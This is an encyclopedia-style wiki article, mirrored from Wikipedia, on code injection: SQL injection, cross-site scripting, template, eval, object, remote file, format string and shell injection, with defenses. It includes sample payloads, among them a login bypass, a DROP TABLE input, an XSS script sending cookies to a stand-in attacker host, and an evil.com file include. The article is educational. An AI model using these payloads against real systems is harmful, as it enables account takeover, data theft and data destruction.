Skip to content
Surf Wiki
Save to docs
general/types-of-malware

From Surf Wiki (app.surf) — the open knowledge base

Code injection

Computer bug exploit caused by invalid data


Computer bug exploit caused by invalid data

An SQL injection takes advantage of SQL syntax to inject malicious commands that can read or modify a database or compromise the meaning of the original query.

For example, consider a web page that has two text fields which allow users to enter a username and a password. The code behind the page will generate an SQL query to check the password against the list of user names:

SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'Password'

If this query returns any rows, then access is granted. However, if the malicious user enters a valid Username and injects some valid code "('Password' OR '1'='1') in the Password field, then the resulting query will look like this:

SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'Password' OR '1'='1'

In the example above, "Password" is assumed to be blank or some innocuous string. "'1'='1'" will always be true and many rows will be returned, thereby allowing access.

The technique may be refined to allow multiple statements to run or even to load up and run external programs.

Assume a query with the following format: SELECT User.UserID FROM User WHERE User.UserID = ' " + UserID + " ' AND User.Pwd = ' " + Password + " ' If an adversary has the following for inputs:

UserID: ';DROP TABLE User; --'

Password: 'OR"='

then the query will be parsed as: SELECT User.UserID FROM User WHERE User.UserID = *;DROP TABLE User; --'AND Pwd = *OR"='

The resulting User table will be removed from the database. This occurs because the ; symbol signifies the end of one command and the start of a new one. -- signifies the start of a comment.

Cross-site scripting

Main article: Cross-site scripting

Code injection is the malicious injection or introduction of code into an application. Some web servers have a guestbook script, which accepts small messages from users and typically receives messages such as: Very nice site! However, a malicious person may know of a code injection vulnerability in the guestbook and enter a message such as:

Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script></syntaxhighlight>
If another user views the page, then the injected code will be executed. This code can allow the attacker to impersonate another user. However, this same software bug can be accidentally triggered by an unassuming user, which will cause the website to display bad HTML code.

HTML and script injection are popular subjects, commonly termed "[[cross-site scripting]]" or "XSS". XSS refers to an injection flaw whereby user input to a web script or something along such lines is placed into the output HTML without being checked for HTML code or scripting.

Many of these problems are related to erroneous assumptions of what input data is possible or the effects of special data.<ref name=HopeWalther>{{cite book|last1=Hope|first1=Brian|last2=Hope|first2=Paco|last3=Walther|first3=Ben|title=Web Security Testing Cookbook|url=https://archive.org/details/websecuritytesti00hope|url-access=registration|date=15 May 2009|publisher=[[O'Reilly Media]]|location=Sebastopol, CA|isbn=978-0-596-51483-9|page=[https://archive.org/details/websecuritytesti00hope/page/254 254]|oclc=297573828}}</ref>

=== Server Side Template Injection ===
[[Web template system|Template engines]] are often used in modern [[web application]]s to display dynamic data. However, trusting non-validated user data can frequently lead to critical vulnerabilities<ref>{{Cite web |date=2015-08-05 |title=Server-Side Template Injection |url=https://portswigger.net/research/server-side-template-injection |access-date=2022-05-22 |website=PortSwigger Research |archive-date=22 May 2022 |archive-url=https://web.archive.org/web/20220522214453/https://portswigger.net/research/server-side-template-injection |url-status=live }}</ref> such as server-side Side Template Injections. While this vulnerability is similar to [[cross-site scripting]], template injection can be leveraged to execute code on the web server rather than in a visitor's browser. It abuses a common workflow of web applications, which often use user inputs and templates to render a web page. The example below shows the concept. Here the template <code><nowiki>{{visitor_name}}</nowiki></code> is replaced with data during the rendering process.<syntaxhighlight lang="html">
Hello {{visitor_name}}

An attacker can use this workflow to inject code into the rendering pipeline by providing a malicious <code>visitor_name</code>. Depending on the implementation of the web application, he could choose to inject <code><nowiki>{{7*'7'}}</nowiki></code> which the renderer could resolve to <code>Hello 7777777</code>. Note that the actual web server has evaluated the malicious code and therefore could be vulnerable to [[remote code execution]].

Dynamic evaluation vulnerabilities

An eval() injection vulnerability occurs when an attacker can control all or part of an input string that is fed into an eval() function call.

$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');

The argument of "eval" will be processed as PHP, so additional commands can be appended. For example, if "arg" is set to "10; system('/bin/echo uh-oh')", additional code is run which executes a program on the server, in this case "/bin/echo".

Object injection

PHP allows serialization and deserialization of whole objects. If an untrusted input is allowed into the deserialization function, it is possible to overwrite existing classes in the program and execute malicious attacks. Such an attack on Joomla was found in 2013.

Remote file injection

Main article: File inclusion vulnerability

Consider this PHP program (which includes a file specified by request):

<?php
$color = 'blue';
if (isset($_GET['color']))
    $color = $_GET['color'];
require($color . '.php');

The example expects a color to be provided, while attackers might provide COLOR=http://evil.com/exploit causing PHP to load the remote file.

Format specifier injection

Main article: Uncontrolled format string

char user_input[100]; int int_in; char password[10] = "Password1";

printf("Enter an integer\n"); scanf("%d", &int_in); printf("Please enter a string\n"); fgets(user_input, sizeof(user_input), stdin);

printf(user_input); // Safe version is: printf("%s", user_input); printf("\n");

return 0; If the user input is filled with a list of format specifiers, such as %s%s%s%s%s%s%s%s, then printf()will start reading from the stack. Eventually, one of the %s format specifiers will access the address of password, which is on the stack, and print Password1 to the screen.

Shell injection

Shell injection (or command injection) is named after UNIX shells but applies to most systems that allow software to programmatically execute a command line. Here is an example vulnerable tcsh script:

!/bin/tcshcheck arg outputs it matches if arg is one
if ($1 == 1) echo it matches

If the above is stored in the executable file ./check, the shell command ./check " 1 ) evil" will attempt to execute the injected shell command evil instead of comparing the argument with the constant one. Here, the code under attack is the code that is trying to check the parameter, the very code that might have been trying to validate the parameter to defend against an attack.

Any function that can be used to compose and run a shell command is a potential vehicle for launching a shell injection attack. Among these are system(), StartProcess(), and System.Diagnostics.Process.Start().

Client-server systems such as web browser interaction with web servers are potentially vulnerable to shell injection. Consider the following short PHP program that can run on a web server to run an external program called funnytext to replace a word the user sent with some other word.

<?php
passthru("/bin/funnytext " . $_GET['USER_INPUT']);

The passthru function in the above program composes a shell command that is then executed by the web server. Since part of the command it composes is taken from the URL provided by the web browser, this allows the URL to inject malicious shell commands. One can inject code into this program in several ways by exploiting the syntax of various shell features (this list is not exhaustive):

Shell feature`USER_INPUT` valueResulting shell commandExplanation
Sequential execution`; malicious_command``/bin/funnytext ; malicious_command`Executes `funnytext`, then executes `malicious_command`.
Pipelines`&#124; malicious_command``/bin/funnytext &#124; malicious_command`Sends the output of `funnytext` as input to `malicious_command`.
Command substitution``malicious_command```/bin/funnytext `malicious_command``Sends the output of `malicious_command` as arguments to `funnytext`.
Command substitution`$(malicious_command)``/bin/funnytext $(malicious_command)`Sends the output of `malicious_command` as arguments to `funnytext`.
AND list`&& malicious_command``/bin/funnytext && malicious_command`Executes `malicious_command` iff `funnytext` returns an exit status of 0 (success).
OR list`&#124;&#124; malicious_command``/bin/funnytext &#124;&#124; malicious_command`Executes `malicious_command` iff `funnytext` returns a nonzero exit status (error).
Output redirection` ~/.bashrc``/bin/funnytext ~/.bashrc`Overwrites the contents the `.bashrc` file with the output of `funnytext`.
Input redirection``/bin/funnytextSends the contents of the `.bashrc` file as input to `funnytext`.

Some languages offer functions to properly escape or quote strings that are used to construct shell commands:

  • PHP: [escapeshellarg()](http://www.php.net/manual/en/function.escapeshellarg.php) and [escapeshellcmd()](http://www.php.net/manual/en/function.escapeshellcmd.php)
  • Python: [shlex.quote()](https://docs.python.org/3/library/shlex.html#shlex.quote) However, this still puts the burden on programmers to know/learn about these functions and to remember to make use of them every time they use shell commands. In addition to using these functions, validating or sanitizing the user input is also recommended.

A safer alternative is to use APIs that execute external programs directly rather than through a shell, thus preventing the possibility of shell injection. However, these APIs tend to not support various convenience features of shells and/or to be more cumbersome/verbose compared to concise shell syntax.

References

References

  1. "Top 10 Web Application Security Vulnerabilities". University of Pennsylvania.
  2. "OWASP Top 10 2013 A1: Injection Flaws". OWASP.
  3. (January 2023). "Code Injection Attacks in Wireless-Based Internet of Things (IoT): A Comprehensive Review and Practical Implementations". Sensors.
  4. "NVD - Statistics Search".
  5. Srinivasan, Raghunathan. "Towards More Effective Virus Detectors". Arizona State University.
  6. (2010). "Computer Network Security". Springer.
  7. (2013-04-02). "Dynamic linker tricks: Using LD_PRELOAD to cheat, inject features and investigate programs".
  8. "The Java EE 6 Tutorial: Chapter 35 Using the Criteria API to Create Queries". Oracle.
  9. Moertel, Tom. (2006-10-18). "A type-based solution to the "strings problem": a fitting end to XSS and SQL-injection holes?".
  10. (12 November 2014). "HttpOnly".
  11. "SQL Injection Prevention Cheat Sheet".
  12. (2013-06-01). "CPM: Masking Code Pointers to Prevent Code Injection Attacks". ACM Transactions on Information and System Security.
  13. (2021-03-12). "Long short-term memory on abstract syntax tree for SQL injection detection". IET Software.
  14. (15 May 2009). "Web Security Testing Cookbook". [[O'Reilly Media]].
  15. (2015-08-05). "Server-Side Template Injection".
  16. Christey. (3 May 2006). "Dynamic Evaluation Vulnerabilities in PHP applications".
  17. "Unserialize function warnings". PHP.net.
  18. "Analysis of the Joomla PHP Object Injection Vulnerability".
  19. "Command Injection".
  20. Douglas W. Jones, CS:3620 Notes, [http://www.cs.uiowa.edu/~jones/opsys/notes/04.shtml Lecture 4—Shell Scripts]. {{Webarchive. link. (24 September 2024, Spring 2018.)
  21. "Command Injection - Black Hat Library".
Info: Wikipedia Source

This article was imported from Wikipedia and is available under the Creative Commons Attribution-ShareAlike 4.0 License. Content has been adapted to SurfDoc format. Original contributors can be found on the article history page.

Want to explore this topic further?

Ask Mako anything about Code injection — get instant answers, deeper analysis, and related topics.

Research with Mako

Free with your Surf account

Content sourced from Wikipedia, available under CC BY-SA 4.0.

This content may have been generated or modified by AI. CloudSurf Software LLC is not responsible for the accuracy, completeness, or reliability of AI-generated content. Always verify important information from primary sources.

Report